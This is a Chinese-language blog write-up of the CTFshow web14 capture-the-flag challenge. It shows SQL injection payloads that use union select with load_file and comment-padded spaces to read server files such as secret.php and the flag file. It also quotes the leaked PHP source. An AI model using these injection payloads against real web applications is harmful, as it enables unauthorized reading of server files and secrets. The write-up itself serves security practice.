刷题之旅第34站,CTFshow web14

感谢ctf show平台提供题目
提交命令,得到了php文件。

?c=3

在这里插入图片描述

我们打开这个php文件看看,是个查询界面。
在这里插入图片描述
通过测试,我们发现 information_schema.columnsinformation_schema.tables均被过滤了,那么可能flag并不是在数据库中。

我们使用sql 的 load_file 命令,进行读文件。在前面我们看到了有个secret.php文件。
在这里插入图片描述
我们尝试进行读取这个文件。

here_1s_your_f1ag.php?query=100/**/union/**/select/**/load_file('/var/www/html/secret.php')

在这里插入图片描述

得到了php文件的内容。

<script>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')</script>

通过读这段代码,我们发现flag 就存在于根目录下的 /real_flag_is_here文件

同样的套路,我们进行读取这个文件。

/here_1s_your_f1ag.php?query=100/**/union/**/select/**/load_file('/real_flag_is_here')

在这里插入图片描述

flag就拿到手了。

结语:
菜鸡的cc师傅,将会持续写出100篇高质量的CTF题目,供大家进行CTF的入门以及进阶,如果觉得文章对您有所帮助,欢迎关注一下cc师傅。

原创文章不易,点个赞再走吧。
在这里插入图片描述

  • 9
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值